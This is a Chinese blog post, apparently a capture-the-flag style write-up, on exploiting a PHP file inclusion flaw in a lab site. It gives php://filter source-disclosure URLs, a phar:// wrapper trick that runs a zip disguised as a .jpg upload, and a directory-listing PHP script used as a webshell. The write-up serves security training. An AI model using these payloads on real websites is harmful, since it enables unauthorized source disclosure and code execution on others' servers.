您的位置:首页 > 编程语言 > PHP开发

php文件包含漏洞利用

2017-03-21 09:22 633 查看
上周我们部门弄了一个web安全的兴趣小组。说实话实在惭愧我虽然在安全公司每天都面对着各种漏洞,但是对渗透技术知之又少。于是加入兴趣小组后痛下决心好好学习渗透知识。

现在记录一下上周兴趣小组出的一个测试题目。由于0基础,花了两天时间才解决。

具体要求:读取网站根目录下的一个文本文件中的flag内容,具体的flag格式类似ahflag{xxxxxxxxxxxxxx}

好的,打开测试站点看看。



就是一个文件上传的界面。只能上传图片格式

经过各种google和百度确定解题的思路

目标:利用文件包含漏洞执行上传webshell

首先可以先down源码
http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=index http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=upload
因为是base64的,所以百度找个base64在线解码,可以看到源码

源码中include($page.’.php’)知道不是任意文件包含,只能包含php文件。

那么我上传的jpg木马不能执行了。

所以要想办法截断后面的.php

在url加%00的办法,无效。可以知道php版本为5.4以上。

Google后得知可以通过zip和phar协议截断

尝试了phar方法。

先把test.php压缩成test.zip然后把后缀改为jpg这样可以成功上传。

然后在地址栏构造url
http://198.168.23.250:88/index.php?page=phar://./uP1O4Ds/7RmCG21sgY7CGhXbc6LyYPypoPZrFFMr_test.jpg/test
成功读取到目录文件。

Test.php文件内容

<?php

$dir="./";

$file=scandir($dir);

print_r($file);

?>

读出文件名

窗体底端

Array ( [0] => . [1] => .. [2] => CSS [3] => Y4ahs01_xs1.txt [4] => index.php [5] => uP1O4Ds [6] => upload.php )

于是htpp://192.168.23.250:88/Y4ahs01_xs1.txt获取到flag内容

ahflag{this_is_celuezu_leve1_1_2038}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  php文件包含漏洞